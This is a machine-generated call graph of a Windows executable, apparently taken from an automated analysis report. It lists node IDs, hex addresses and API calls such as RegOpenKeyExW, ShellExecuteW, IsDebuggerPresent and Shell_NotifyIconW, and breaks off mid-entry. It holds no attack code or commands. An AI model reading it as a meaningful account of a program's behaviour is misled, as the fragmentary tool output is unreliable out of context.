FreeLibrary 104662->104666 104663 b2ce6b 104717 b2d649 107 API calls _free 104663->104717 104666->104658 104668 b2ce7c 104668->104662 104718 ab8d40 59 API calls Mailbox 104668->104718 104719 ab9d3c 60 API calls Mailbox 104668->104719 104721 b2d649 107 API calls _free 104668->104721 104722 ab7e4f 104670->104722 104672 b2d7c0 CharLowerBuffW 104726 b0f167 104672->104726 104679 b2d858 Mailbox 104679->104660 104680 b2d810 104751 ab7d2c 104680->104751 104682 b2d81c Mailbox 104682->104679 104755 b2cfdf 61 API calls 2 library calls 104682->104755 104684 b2c989 104683->104684 104685 b2c9de 104683->104685 104686 ad0db6 Mailbox 59 API calls 104684->104686 104689 b2da50 104685->104689 104688 b2c9ab 104686->104688 104687 ad0db6 Mailbox 59 API calls 104687->104688 104688->104685 104688->104687 104690 b2dc79 Mailbox 104689->104690 104697 b2da73 _strcat _wcscpy __NMSG_WRITE 104689->104697 104690->104648 104691 ab9be6 59 API calls 104691->104697 104692 ab9b3c 59 API calls 104692->104697 104693 ab9b98 59 API calls 104693->104697 104694 ab9837 84 API calls 104694->104697 104695 ad571c 58 API calls __malloc_crt 104695->104697 104697->104690 104697->104691 104697->104692 104697->104693 104697->104694 104697->104695 104762 b15887 61 API calls 2 library calls 104697->104762 104699 ad0c1d 104698->104699 104700 ad0cb5 VirtualProtect 104699->104700 104701 ad0c83 104699->104701 104700->104701 104701->104651 104701->104652 104702->104660 104703->104660 104704->104656 104706 ab92d6 104705->104706 104707 ad0db6 Mailbox 59 API calls 104706->104707 104708 ab92e4 104707->104708 104709 ab92f0 104708->104709 104763 ab91fc 59 API calls Mailbox 104708->104763 104711 ab9050 104709->104711 104764 ab9160 104711->104764 104713 ab905f 104714 ad0db6 Mailbox 59 API calls 104713->104714 104715 ab90fb 104713->104715 104714->104715 104715->104668 104716 ab8d40 59 API calls Mailbox 104715->104716 104716->104663 104717->104668 104718->104668 104719->104668 104720->104640 104721->104668 104723 ab7e62 104722->104723 104725 ab7e5f _memmove 104722->104725 104724 ad0db6 Mailbox 59 API calls 104723->104724 104724->104725 104725->104672 104727 b0f192 __NMSG_WRITE 104726->104727 104728 b0f1d1 104727->104728 104730 b0f1c7 104727->104730 104732 b0f278 104727->104732 104728->104682 104733 ab7667 104728->104733 104730->104728 104756 ab78c4 61 API calls 104730->104756 104732->104728 104757 ab78c4 61 API calls 104732->104757 104734 ad0db6 Mailbox 59 API calls 104733->104734 104735 ab7688 104734->104735 104736 ad0db6 Mailbox 59 API calls 104735->104736 104737 ab7696 104736->104737 104738 ab784b 104737->104738 104739 ab785a 104738->104739 104740 ab78b7 104738->104740 104739->104740 104742 ab7865 104739->104742 104741 ab7d2c 59 API calls 104740->104741 104748 ab7888 _memmove 104741->104748 104743 aeeb09 104742->104743 104744 ab7880 104742->104744 104759 ab8029 104743->104759 104758 ab7f27 59 API calls Mailbox 104744->104758 104747 aeeb13 104749 ad0db6 Mailbox 59 API calls 104747->104749 104748->104680 104750 aeeb33 104749->104750 104752 ab7d3a 104751->104752 104754 ab7d43 _memmove 104751->104754 104753 ab7e4f 59 API calls 104752->104753 104752->104754 104753->104754 104754->104682 104755->104679 104756->104730 104757->104732 104758->104748 104760 ad0db6 Mailbox 59 API calls 104759->104760 104761 ab8033 104760->104761 104761->104747 104762->104697 104763->104709 104765 ab9169 Mailbox 104764->104765 104766 aef19f 104765->104766 104771 ab9173 104765->104771 104767 ad0db6 Mailbox 59 API calls 104766->104767 104769 aef1ab 104767->104769 104768 ab917a 104768->104713 104771->104768 104772 ab9c90 59 API calls Mailbox 104771->104772 104772->104771 104773->104609 104774->104609 104775->104603 104776->104608 104777->104613 104778->104608 104779 ab107d 104784 ab708b 104779->104784 104781 ab108c 104815 ad2d40 104781->104815 104785 ab709b __ftell_nolock 104784->104785 104786 ab7667 59 API calls 104785->104786 104787 ab7151 104786->104787 104818 ab4706 104787->104818 104789 ab715a 104825 ad050b 104789->104825 104796 ab7667 59 API calls 104797 ab718b 104796->104797 104844 ab7d8c 104797->104844 104799 ab7194 RegOpenKeyExW 104800 aee8b1 RegQueryValueExW 104799->104800 104805 ab71b6 Mailbox 104799->104805 104801 aee8ce 104800->104801 104802 aee943 RegCloseKey 104800->104802 104803 ad0db6 Mailbox 59 API calls 104801->104803 104802->104805 104811 aee955 _wcscat Mailbox __NMSG_WRITE 104802->104811 104804 aee8e7 104803->104804 104848 ab522e 104804->104848 104805->104781 104808 aee90f 104851 ab7bcc 104808->104851 104810 aee929 104810->104802 104811->104805 104812 ab7de1 59 API calls 104811->104812 104813 ab3f74 59 API calls 104811->104813 104814 ab79f2 59 API calls 104811->104814 104812->104811 104813->104811 104814->104811 104882 ad2c44 104815->104882 104817 ab1096 104860 ae1940 104818->104860 104821 ab7de1 59 API calls 104822 ab4739 104821->104822 104862 ab4750 104822->104862 104824 ab4743 Mailbox 104824->104789 104826 ae1940 __ftell_nolock 104825->104826 104827 ad0518 GetFullPathNameW 104826->104827 104828 ad053a 104827->104828 104829 ab7bcc 59 API calls 104828->104829 104830 ab7165 104829->104830 104831 ab7cab 104830->104831 104832 aeed4a 104831->104832 104833 ab7cbf 104831->104833 104834 ab8029 59 API calls 104832->104834 104876 ab7c50 104833->104876 104837 aeed55 __NMSG_WRITE _memmove 104834->104837 104836 ab7173 104838 ab3f74 104836->104838 104839 ab3f82 104838->104839 104843 ab3fa4 _memmove 104838->104843 104842 ad0db6 Mailbox 59 API calls 104839->104842 104840 ad0db6 Mailbox 59 API calls 104841 ab3fb8 104840->104841 104841->104796 104842->104843 104843->104840 104845 ab7da6 104844->104845 104847 ab7d99 104844->104847 104846 ad0db6 Mailbox 59 API calls 104845->104846 104846->104847 104847->104799 104849 ad0db6 Mailbox 59 API calls 104848->104849 104850 ab5240 RegQueryValueExW 104849->104850 104850->104808 104850->104810 104852 ab7c45 104851->104852 104854 ab7bd8 __NMSG_WRITE 104851->104854 104853 ab7d2c 59 API calls 104852->104853 104859 ab7bf6 _memmove 104853->104859 104855 ab7bee 104854->104855 104856 ab7c13 104854->104856 104881 ab7f27 59 API calls Mailbox 104855->104881 104857 ab8029 59 API calls 104856->104857 104857->104859 104859->104810 104861 ab4713 GetModuleFileNameW 104860->104861 104861->104821 104863 ae1940 __ftell_nolock 104862->104863 104864 ab475d GetFullPathNameW 104863->104864 104865 ab4799 104864->104865 104866 ab477c 104864->104866 104868 ab7d8c 59 API calls 104865->104868 104867 ab7bcc 59 API calls 104866->104867 104869 ab4788 104867->104869 104868->104869 104872 ab7726 104869->104872 104873 ab7734 104872->104873 104874 ab7d2c 59 API calls 104873->104874 104875 ab4794 104874->104875 104875->104824 104877 ab7c5f __NMSG_WRITE 104876->104877 104878 ab8029 59 API calls 104877->104878 104879 ab7c70 _memmove 104877->104879 104880 aeed07 _memmove 104878->104880 104879->104836 104881->104859 104883 ad2c50 _raise 104882->104883 104890 ad3217 104883->104890 104889 ad2c77 _raise 104889->104817 104907 ad9c0b 104890->104907 104892 ad2c59 104893 ad2c88 DecodePointer DecodePointer 104892->104893 104894 ad2cb5 104893->104894 104895 ad2c65 104893->104895 104894->104895 104953 ad87a4 59 API calls _raise 104894->104953 104904 ad2c82 104895->104904 104897 ad2d18 EncodePointer EncodePointer 104897->104895 104898 ad2cc7 104898->104897 104899 ad2cec 104898->104899 104954 ad8864 61 API calls 2 library calls 104898->104954 104899->104895 104902 ad2d06 EncodePointer 104899->104902 104955 ad8864 61 API calls 2 library calls 104899->104955 104902->104897 104903 ad2d00 104903->104895 104903->104902 104956 ad3220 104904->104956 104908 ad9c1c 104907->104908 104909 ad9c2f EnterCriticalSection 104907->104909 104914 ad9c93 104908->104914 104909->104892 104911 ad9c22 104911->104909 104938 ad30b5 58 API calls 3 library calls 104911->104938 104915 ad9c9f _raise 104914->104915 104916 ad9ca8 104915->104916 104917 ad9cc0 104915->104917 104939 ada16b 58 API calls 2 library calls 104916->104939 104929 ad9ce1 _raise 104917->104929 104942 ad881d 58 API calls __malloc_crt 104917->104942 104919 ad9cad 104940 ada1c8 58 API calls 7 library calls 104919->104940 104922 ad9cd5 104924 ad9cdc 104922->104924 104925 ad9ceb 104922->104925 104923 ad9cb4 104941 ad309f GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 104923->104941 104943 ad8b28 58 API calls __getptd_noexit 104924->104943 104926 ad9c0b __lock 58 API calls 104925->104926 104930 ad9cf2 104926->104930 104929->104911 104932 ad9cff 104930->104932 104933 ad9d17 104930->104933 104944 ad9e2b InitializeCriticalSectionAndSpinCount 104932->104944 104945 ad2d55 104933->104945 104936 ad9d0b 104951 ad9d33 LeaveCriticalSection _doexit 104936->104951 104939->104919 104940->104923 104942->104922 104943->104929 104944->104936 104946 ad2d5e RtlFreeHeap 104945->104946 104947 ad2d87 __dosmaperr 104945->104947 104946->104947 104948 ad2d73 104946->104948 104947->104936 104952 ad8b28 58 API calls __getptd_noexit 104948->104952 104950 ad2d79 GetLastError 104950->104947 104951->104929 104952->104950 104953->104898 104954->104899 104955->104903 104959 ad9d75 LeaveCriticalSection 104956->104959 104958 ad2c87 104958->104889 104959->104958 104960 ab3633 104961 ab366a 104960->104961 104962 ab3688 104961->104962 104963 ab36e7 104961->104963 104964 ab36e5 104961->104964 104965 ab374b PostQuitMessage 104962->104965 104966 ab3695 104962->104966 104968 aed0cc 104963->104968 104969 ab36ed 104963->104969 104967 ab36ca DefWindowProcW 104964->104967 104975 ab36d8 104965->104975 104973 aed154 104966->104973 104974 ab36a0 104966->104974 104967->104975 105009 ac1070 10 API calls Mailbox 104968->105009 104970 ab36f2 104969->104970 104971 ab3715 SetTimer RegisterWindowMessageW 104969->104971 104976 aed06f 104970->104976 104977 ab36f9 KillTimer 104970->104977 104971->104975 104979 ab373e CreatePopupMenu 104971->104979 105025 b12527 71 API calls _memset 104973->105025 104980 ab36a8 104974->104980 104981 ab3755 104974->104981 104989 aed0a8 MoveWindow 104976->104989 104990 aed074 104976->104990 105005 ab443a Shell_NotifyIconW _memset 104977->105005 104978 aed0f3 105010 ac1093 331 API calls Mailbox 104978->105010 104979->104975 104985 aed139 104980->104985 104986 ab36b3 104980->104986 105007 ab44a0 64 API calls _memset 104981->105007 104985->104967 105024 b07c36 59 API calls Mailbox 104985->105024 104992 ab36be 104986->104992 104993 aed124 104986->104993 104987 aed166 104987->104967 104987->104975 104989->104975 104995 aed078 104990->104995 104996 aed097 SetFocus 104990->104996 104991 ab370c 105006 ab3114 DeleteObject DestroyWindow Mailbox 104991->105006 104992->104967 105011 ab443a Shell_NotifyIconW _memset 104992->105011 105023 b12d36 81 API calls _memset 104993->105023 104994 ab3764 104994->104975 104995->104992 105000 aed081 104995->105000 104996->104975 105008 ac1070 10 API calls Mailbox 105000->105008 105003 aed118 105012 ab434a 105003->105012 105005->104991 105006->104975 105007->104994 105008->104975 105009->104978 105010->104992 105011->105003 105013 ab4375 _memset 105012->105013 105026 ab4182 105013->105026 105016 ab43fa 105018 ab4430 Shell_NotifyIconW 105016->105018 105019 ab4414 Shell_NotifyIconW 105016->105019 105020 ab4422 105018->105020 105019->105020 105030 ab407c 105020->105030 105022 ab4429 105022->104964 105023->104994 105024->104964 105025->104987 105027 aed423 105026->105027 105028 ab4196 105026->105028 105027->105028 105029 aed42c DestroyIcon 105027->105029 105028->105016 105052 b12f94 62 API calls _W_store_winword 105028->105052 105029->105028 105031 ab4098 105030->105031 105051 ab416f Mailbox 105030->105051 105053 ab7a16 105031->105053 105034 aed3c8 LoadStringW 105038 aed3e2 105034->105038 105035 ab40b3 105036 ab7bcc 59 API calls 105035->105036 105037 ab40c8 105036->105037 105037->105038 105039 ab40d9 105037->105039 105040 ab7b2e 59 API calls 105038->105040 105041 ab40e3 105039->105041 105042 ab4174 105039->105042 105045 aed3ec 105040->105045 105044 ab7b2e 59 API calls 105041->105044 105043 ab8047 59 API calls 105042->105043 105048 ab40ed _memset _wcscpy 105043->105048 105044->105048 105046 ab7cab 59 API calls 105045->105046 105045->105048 105047 aed40e 105046->105047 105049 ab7cab 59 API calls 105047->105049 105050 ab4155 Shell_NotifyIconW 105048->105050 105049->105048 105050->105051 105051->105022 105052->105016 105054 ad0db6 Mailbox 59 API calls 105053->105054 105055 ab7a3b 105054->105055 105056 ab8029 59 API calls 105055->105056 105057 ab40a6 105056->105057 105057->105034 105057->105035 105058 ad7c56 105059 ad7c62 _raise 105058->105059 105095 ad9e08 GetStartupInfoW 105059->105095 105061 ad7c67 105097 ad8b7c GetProcessHeap 105061->105097 105063 ad7cbf 105064 ad7cca 105063->105064 105180 ad7da6 58 API calls 3 library calls 105063->105180 105098 ad9ae6 105064->105098 105067 ad7cd0 105068 ad7cdb __RTC_Initialize 105067->105068 105181 ad7da6 58 API calls 3 library calls 105067->105181 105119 add5d2 105068->105119 105071 ad7cea 105072 ad7cf6 GetCommandLineW 105071->105072 105182 ad7da6 58 API calls 3 library calls 105071->105182 105138 ae4f23 GetEnvironmentStringsW 105072->105138 105075 ad7cf5 105075->105072 105078 ad7d10 105079 ad7d1b 105078->105079 105183 ad30b5 58 API calls 3 library calls 105078->105183 105148 ae4d58 105079->105148 105082 ad7d21 105083 ad7d2c 105082->105083 105184 ad30b5 58 API calls 3 library calls 105082->105184 105162 ad30ef 105083->105162 105086 ad7d34 105087 ad7d3f __wwincmdln 105086->105087 105185 ad30b5 58 API calls 3 library calls 105086->105185 105168 ab47d0 105087->105168 105090 ad7d53 105091 ad7d62 105090->105091 105186 ad3358 58 API calls _doexit 105090->105186 105187 ad30e0 58 API calls _doexit 105091->105187 105094 ad7d67 _raise 105096 ad9e1e 105095->105096 105096->105061 105097->105063 105188 ad3187 36 API calls 2 library calls 105098->105188 105100 ad9aeb 105189 ad9d3c InitializeCriticalSectionAndSpinCount __getstream 105100->105189 105102 ad9af0 105103 ad9af4 105102->105103 105191 ad9d8a TlsAlloc 105102->105191 105190 ad9b5c 61 API calls 2 library calls 105103->105190 105106 ad9af9 105106->105067 105107 ad9b06 105107->105103 105108 ad9b11 105107->105108 105192 ad87d5 105108->105192 105111 ad9b53 105200 ad9b5c 61 API calls 2 library calls 105111->105200 105114 ad9b32 105114->105111 105116 ad9b38 105114->105116 105115 ad9b58 105115->105067 105199 ad9a33 58 API calls 4 library calls 105116->105199 105118 ad9b40 GetCurrentThreadId 105118->105067 105120 add5de _raise 105119->105120 105121 ad9c0b __lock 58 API calls 105120->105121 105122 add5e5 105121->105122 105123 ad87d5 __calloc_crt 58 API calls 105122->105123 105125 add5f6 105123->105125 105124 add661 GetStartupInfoW 105132 add676 105124->105132 105133 add7a5 105124->105133 105125->105124 105126 add601 _raise @_EH4_CallFilterFunc@8 105125->105126 105126->105071 105127 add86d 105214 add87d LeaveCriticalSection _doexit 105127->105214 105129 ad87d5 __calloc_crt 58 API calls 105129->105132 105130 add7f2 GetStdHandle 105130->105133 105131 add805 GetFileType 105131->105133 105132->105129 105132->105133 105135 add6c4 105132->105135 105133->105127 105133->105130 105133->105131 105213 ad9e2b InitializeCriticalSectionAndSpinCount 105133->105213 105134 add6f8 GetFileType 105134->105135 105135->105133 105135->105134 105212 ad9e2b InitializeCriticalSectionAndSpinCount 105135->105212 105139 ad7d06 105138->105139 105140 ae4f34 105138->105140 105144 ae4b1b GetModuleFileNameW 105139->105144 105215 ad881d 58 API calls __malloc_crt 105140->105215 105142 ae4f70 FreeEnvironmentStringsW 105142->105139 105143 ae4f5a _memmove 105143->105142 105145 ae4b4f _wparse_cmdline 105144->105145 105147 ae4b8f _wparse_cmdline 105145->105147 105216 ad881d 58 API calls __malloc_crt 105145->105216 105147->105078 105149 ae4d71 __NMSG_WRITE 105148->105149 105153 ae4d69 105148->105153 105150 ad87d5 __calloc_crt 58 API calls 105149->105150 105158 ae4d9a __NMSG_WRITE 105150->105158 105151 ae4df1 105152 ad2d55 _free 58 API calls 105151->105152 105152->105153 105153->105082 105154 ad87d5 __calloc_crt 58 API calls 105154->105158 105155 ae4e16 105156 ad2d55 _free 58 API calls 105155->105156 105156->105153 105158->105151 105158->105153 105158->105154 105158->105155 105159 ae4e2d 105158->105159 105217 ae4607 58 API calls _raise 105158->105217 105218 ad8dc6 IsProcessorFeaturePresent 105159->105218 105161 ae4e39 105161->105082 105164 ad30fb __IsNonwritableInCurrentImage 105162->105164 105241 ada4d1 105164->105241 105165 ad3119 __initterm_e 105166 ad2d40 __cinit 67 API calls 105165->105166 105167 ad3138 __cinit __IsNonwritableInCurrentImage 105165->105167 105166->105167 105167->105086 105169 ab47ea 105168->105169 105179 ab4889 105168->105179 105170 ab4824 IsThemeActive 105169->105170 105244 ad336c 105170->105244 105174 ab4850 105256 ab48fd SystemParametersInfoW SystemParametersInfoW 105174->105256 105176 ab485c 105257 ab3b3a 105176->105257 105178 ab4864 SystemParametersInfoW 105178->105179 105179->105090 105180->105064 105181->105068 105182->105075 105186->105091 105187->105094 105188->105100 105189->105102 105190->105106 105191->105107 105195 ad87dc 105192->105195 105194 ad8817 105194->105111 105198 ad9de6 TlsSetValue 105194->105198 105195->105194 105197 ad87fa 105195->105197 105201 ae51f6 105195->105201 105197->105194 105197->105195 105209 ada132 Sleep 105197->105209 105198->105114 105199->105118 105200->105115 105202 ae5201 105201->105202 105206 ae521c 105201->105206 105203 ae520d 105202->105203 105202->105206 105210 ad8b28 58 API calls __getptd_noexit 105203->105210 105205 ae522c RtlAllocateHeap 105205->105206 105207 ae5212 105205->105207 105206->105205 105206->105207 105211 ad33a1 DecodePointer 105206->105211 105207->105195 105209->105197 105210->105207 105211->105206 105212->105135 105213->105133 105214->105126 105215->105143 105216->105147 105217->105158 105219 ad8dd1 105218->105219 105224 ad8c59 105219->105224 105223 ad8dec 105223->105161 105225 ad8c73 _memset __call_reportfault 105224->105225 105226 ad8c93 IsDebuggerPresent 105225->105226 105232 ada155 SetUnhandledExceptionFilter UnhandledExceptionFilter 105226->105232 105228 ad8d57 __call_reportfault 105233 adc5f6 105228->105233 105230 ad8d7a 105231 ada140 GetCurrentProcess TerminateProcess 105230->105231 105231->105223 105232->105228 105234 adc5fe 105233->105234 105235 adc600 IsProcessorFeaturePresent 105233->105235 105234->105230 105237 ae590a 105235->105237 105240 ae58b9 5 API calls 2 library calls 105237->105240 105239 ae59ed 105239->105230 105240->105239 105242 ada4d4 EncodePointer 105241->105242 105242->105242 105243 ada4ee 105242->105243 105243->105165 105245 ad9c0b __lock 58 API calls 105244->105245 105246 ad3377 DecodePointer EncodePointer 105245->105246 105309 ad9d75 LeaveCriticalSection 105246->105309 105248 ab4849 105249 ad33d4 105248->105249 105250 ad33de 105249->105250 105251 ad33f8 105249->105251 105250->105251 105310 ad8b28 58 API calls __getptd_noexit 105250->105310 105251->105174 105253 ad33e8 105311 ad8db6 9 API calls _raise 105253->105311 105255 ad33f3 105255->105174 105256->105176 105258 ab3b47 __ftell_nolock 105257->105258 105259 ab7667 59 API calls 105258->105259 105260 ab3b51 GetCurrentDirectoryW 105259->105260 105312 ab3766 105260->105312 105262 ab3b7a IsDebuggerPresent 105263 ab3b88 105262->105263 105264 aed272 MessageBoxA 105262->105264 105266 aed28c 105263->105266 105267 ab3ba5 105263->105267 105297 ab3c61 105263->105297 105264->105266 105265 ab3c68 SetCurrentDirectoryW 105268 ab3c75 Mailbox 105265->105268 105511 ab7213 59 API calls Mailbox 105266->105511 105393 ab7285 105267->105393 105268->105178 105271 aed29c 105276 aed2b2 SetCurrentDirectoryW 105271->105276 105273 ab3bc3 GetFullPathNameW 105274 ab7bcc 59 API calls 105273->105274 105275 ab3bfe 105274->105275 105409 ac092d 105275->105409 105276->105268 105279 ab3c1c 105280 ab3c26 105279->105280 105512 b0874b AllocateAndInitializeSid CheckTokenMembership FreeSid 105279->105512 105425 ab3a46 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 105280->105425 105283 aed2cf 105283->105280 105286 aed2e0 105283->105286 105288 ab4706 61 API calls 105286->105288 105287 ab3c30 105289 ab3c43 105287->105289 105291 ab434a 68 API calls 105287->105291 105290 aed2e8 105288->105290 105433 ac09d0 105289->105433 105293 ab7de1 59 API calls 105290->105293 105291->105289 105295 aed2f5 105293->105295 105294 ab3c4e 105294->105297 105510 ab443a Shell_NotifyIconW _memset 105294->105510 105298 aed2ff 105295->105298 105299 aed324 105295->105299 105297->105265 105301 ab7cab 59 API calls 105298->105301 105300 ab7cab 59 API calls 105299->105300 105302 aed320 GetForegroundWindow ShellExecuteW 105300->105302 105303 aed30a 105301->105303 105307 aed354 Mailbox 105302->105307 105305 ab7b2e 59 API calls 105303->105305 105306 aed317 105305->105306 105308 ab7cab 59 API calls 105306->105308 105307->105297 105308->105302 105309->105248 105310->105253 105311->105255 105313 ab7667 59 API calls 105312->105313 105314 ab377c 105313->105314 105513 ab3d31 105314->105513 105316 ab379a 105317 ab4706 61 API calls 105316->105317 105318 ab37ae 105317->105318 105319 ab7de1 59 API calls 105318->105319 105320 ab37bb 105319->105320 105527 ab4ddd 105320->105527 105323 ab37dc Mailbox 105328 ab8047 59 API calls 105323->105328 105324 aed173 105583 b1955b 105324->105583 105327 aed192 105330 ad2d55 _free 58 API calls 105327->105330 105331 ab37ef 105328->105331 105332 aed19f 105330->105332 105551 ab928a 105331->105551 105334 ab4e4a 84 API calls 105332->105334 105336 aed1a8 105334->105336 105340 ab3ed0 59 API calls 105336->105340 105337 ab7de1 59 API calls 105338 ab3808 105337->105338 105554 ab84c0 105338->105554 105342 aed1c3 105340->105342 105341 ab381a Mailbox 105343 ab7de1 59 API calls 105341->105343 105344 ab3ed0 59 API calls 105342->105344 105345 ab3840 105343->105345 105346 aed1df 105344->105346 105347 ab84c0 69 API calls 105345->105347 105348 ab4706 61 API calls 105346->105348 105350 ab384f Mailbox 105347->105350 105349 aed204 105348->105349 105351 ab3ed0 59 API calls 105349->105351 105353 ab7667 59 API calls 105350->105353 105352 aed210 105351->105352 105354 ab8047 59 API calls 105352->105354 105355 ab386d 105353->105355 105356 aed21e 105354->105356 105558 ab3ed0 105355->105558 105358 ab3ed0 59 API calls 105356->105358 105360 aed22d 105358->105360 105366 ab8047 59 API calls 105360->105366 105362 ab3887 105362->105336 105363 ab3891 105362->105363 105364 ad2efd _W_store_winword 60 API calls 105363->105364 105365 ab389c 105364->105365 105365->105342 105367 ab38a6 105365->105367 105368 aed24f 105366->105368 105369 ad2efd _W_store_winword 60 API calls 105367->105369 105370 ab3ed0 59 API calls 105368->105370 105371 ab38b1 105369->105371 105372 aed25c 105370->105372 105371->105346 105373 ab38bb 105371->105373 105372->105372 105374 ad2efd _W_store_winword 60 API calls 105373->105374 105375 ab38c6 105374->105375 105375->105360 105376 ab3907 105375->105376 105378 ab3ed0 59 API calls 105375->105378 105376->105360 105377 ab3914 105376->105377 105379 ab92ce 59 API calls 105377->105379 105380 ab38ea 105378->105380 105381 ab3924 105379->105381 105382 ab8047 59 API calls 105380->105382 105383 ab9050 59 API calls 105381->105383 105384 ab38f8 105382->105384 105385 ab3932 105383->105385 105386 ab3ed0 59 API calls 105384->105386 105574 ab8ee0 105385->105574 105386->105376 105388 ab928a 59 API calls 105390 ab394f 105388->105390 105389 ab8ee0 60 API calls 105389->105390 105390->105388 105390->105389 105391 ab3ed0 59 API calls 105390->105391 105392 ab3995 Mailbox 105390->105392 105391->105390 105392->105262 105394 ab7292 __ftell_nolock 105393->105394 105395 ab72ab 105394->105395 105396 aeea22 _memset 105394->105396 105397 ab4750 60 API calls 105395->105397 105399 aeea3e GetOpenFileNameW 105396->105399 105398 ab72b4 105397->105398 106203 ad0791 105398->106203 105401 aeea8d 105399->105401 105402 ab7bcc 59 API calls 105401->105402 105404 aeeaa2 105402->105404 105404->105404 105406 ab72c9 106221 ab686a 105406->106221 105410 ac093a __ftell_nolock 105409->105410 106449 ab6d80 105410->106449 105412 ac093f 105424 ab3c14 105412->105424 106460 ac119e 89 API calls 105412->106460 105414 ac094c 105414->105424 106461 ac3ee7 91 API calls Mailbox 105414->106461 105416 ac0955 105417 ac0959 GetFullPathNameW 105416->105417 105416->105424 105418 ab7bcc 59 API calls 105417->105418 105419 ac0985 105418->105419 105420 ab7bcc 59 API calls 105419->105420 105421 ac0992 105420->105421 105422 ab7bcc 59 API calls 105421->105422 105423 af4cab _wcscat 105421->105423 105422->105424 105424->105271 105424->105279 105426 ab3ab0 LoadImageW RegisterClassExW 105425->105426 105427 aed261 105425->105427 106498 ab3041 7 API calls 105426->106498 106499 ab47a0 LoadImageW EnumResourceNamesW 105427->106499 105430 aed26a 105431 ab3b34 105432 ab39d5 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 105431->105432 105432->105287 105434 af4cc3 105433->105434 105448 ac09f5 105433->105448 106556 b19e4a 89 API calls 4 library calls 105434->106556 105436 ac0cfa 105436->105294 105438 ac0ee4 105438->105436 105440 ac0ef1 105438->105440 106554 ac1093 331 API calls Mailbox 105440->106554 105441 ac0a4b PeekMessageW 105508 ac0a05 Mailbox 105441->105508 105443 ac0ef8 LockWindowUpdate DestroyWindow GetMessageW 105443->105436 105446 ac0f2a 105443->105446 105445 af4e81 Sleep 105445->105508 105449 af5c58 TranslateMessage DispatchMessageW GetMessageW 105446->105449 105447 ac0ce4 105447->105436 106553 ac1070 10 API calls Mailbox 105447->106553 105448->105508 106557 ab9e5d 60 API calls 105448->106557 106558 b06349 331 API calls 105448->106558 105449->105449 105451 af5c88 105449->105451 105451->105436 105452 ac0ea5 TranslateMessage DispatchMessageW 105453 ac0e43 PeekMessageW 105452->105453 105453->105508 105454 af4d50 TranslateAcceleratorW 105454->105453 105454->105508 105455 ac0d13 timeGetTime 105455->105508 105456 af581f WaitForSingleObject 105458 af583c GetExitCodeProcess CloseHandle 105456->105458 105456->105508 105491 ac0f95 105458->105491 105459 ac0e5f Sleep 105493 ac0e70 Mailbox 105459->105493 105460 ab8047 59 API calls 105460->105508 105461 ab7667 59 API calls 105461->105493 105462 ad0db6 59 API calls Mailbox 105462->105508 105463 af5af8 Sleep 105463->105493 105465 ad049f timeGetTime 105465->105493 105467 ac0f4e timeGetTime 106555 ab9e5d 60 API calls 105467->106555 105470 ab9837 84 API calls 105470->105508 105471 af5b8f GetExitCodeProcess 105476 af5bbb CloseHandle 105471->105476 105477 af5ba5 WaitForSingleObject 105471->105477 105474 b35f25 110 API calls 105474->105493 105475 abb7dd 109 API calls 105475->105493 105476->105493 105477->105476 105477->105508 105478 ab9e5d 60 API calls 105478->105508 105479 af5874 105479->105491 105480 af5c17 Sleep 105480->105508 105481 af5078 Sleep 105481->105508 105483 ab7de1 59 API calls 105483->105493 105491->105294 105493->105461 105493->105465 105493->105471 105493->105474 105493->105475 105493->105479 105493->105480 105493->105481 105493->105483 105493->105491 105493->105508 106565 b12408 60 API calls 105493->106565 106566 ab9e5d 60 API calls 105493->106566 106567 ab89b3 69 API calls Mailbox 105493->106567 106568 abb73c 331 API calls 105493->106568 106569 b064da 60 API calls 105493->106569 106570 b15244 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 105493->106570 106571 b13c55 66 API calls Mailbox 105493->106571 105494 b19e4a 89 API calls 105494->105508 105496 ab84c0 69 API calls 105496->105508 105497 ab9c90 59 API calls Mailbox 105497->105508 105498 ab9ea0 304 API calls 105498->105508 105499 b0617e 59 API calls Mailbox 105499->105508 105501 ab7de1 59 API calls 105501->105508 105502 af55d5 VariantClear 105502->105508 105503 b06e8f 59 API calls 105503->105508 105504 af566b VariantClear 105504->105508 105505 ab8cd4 59 API calls Mailbox 105505->105508 105506 af5419 VariantClear 105506->105508 105507 ab89b3 69 API calls 105507->105508 105508->105441 105508->105445 105508->105447 105508->105452 105508->105453 105508->105454 105508->105455 105508->105456 105508->105459 105508->105460 105508->105462 105508->105463 105508->105467 105508->105470 105508->105478 105508->105491 105508->105493 105508->105494 105508->105496 105508->105497 105508->105498 105508->105499 105508->105501 105508->105502 105508->105503 105508->105504 105508->105505 105508->105506 105508->105507 105509 abb73c 304 API calls 105508->105509 106500 abe6a0 105508->106500 106531 abf460 105508->106531 106550 abe420 331 API calls 105508->106550 106551 abfce0 331 API calls 2 library calls 105508->106551 106552 ab31ce IsDialogMessageW GetClassLongW 105508->106552 106559 b36018 59 API calls 105508->106559 106560 b19a15 59 API calls Mailbox 105508->106560 106561 b0d4f2 59 API calls 105508->106561 106562 b060ef 59 API calls 2 library calls 105508->106562 106563 ab8401 59 API calls 105508->106563 106564 ab82df 59 API calls Mailbox 105508->106564 105509->105508 105510->105297 105511->105271 105512->105283 105514 ab3d3e __ftell_nolock 105513->105514 105515 ab7bcc 59 API calls 105514->105515 105520 ab3ea4 Mailbox 105514->105520 105517 ab3d70 105515->105517 105525 ab3da6 Mailbox 105517->105525 105624 ab79f2 105517->105624 105518 ab79f2 59 API calls 105518->105525 105519 ab3e77 105519->105520 105521 ab7de1 59 API calls 105519->105521 105520->105316 105523 ab3e98 105521->105523 105522 ab7de1 59 API calls 105522->105525 105524 ab3f74 59 API calls 105523->105524 105524->105520 105525->105518 105525->105519 105525->105520 105525->105522 105526 ab3f74 59 API calls 105525->105526 105526->105525 105627 ab4bb5 105527->105627 105532 ab4e08 LoadLibraryExW 105637 ab4b6a 105532->105637 105533 aed8e6 105534 ab4e4a 84 API calls 105533->105534 105536 aed8ed 105534->105536 105539 ab4b6a 3 API calls 105536->105539 105542 aed8f5 105539->105542 105540 ab4e2f 105541 ab4e3b 105540->105541 105540->105542 105543 ab4e4a 84 API calls 105541->105543 105663 ab4f0b 105542->105663 105545 ab37d4 105543->105545 105545->105323 105545->105324 105548 aed91c 105671 ab4ec7 105548->105671 105550 aed929 105552 ad0db6 Mailbox 59 API calls 105551->105552 105553 ab37fb 105552->105553 105553->105337 105555 ab84cb 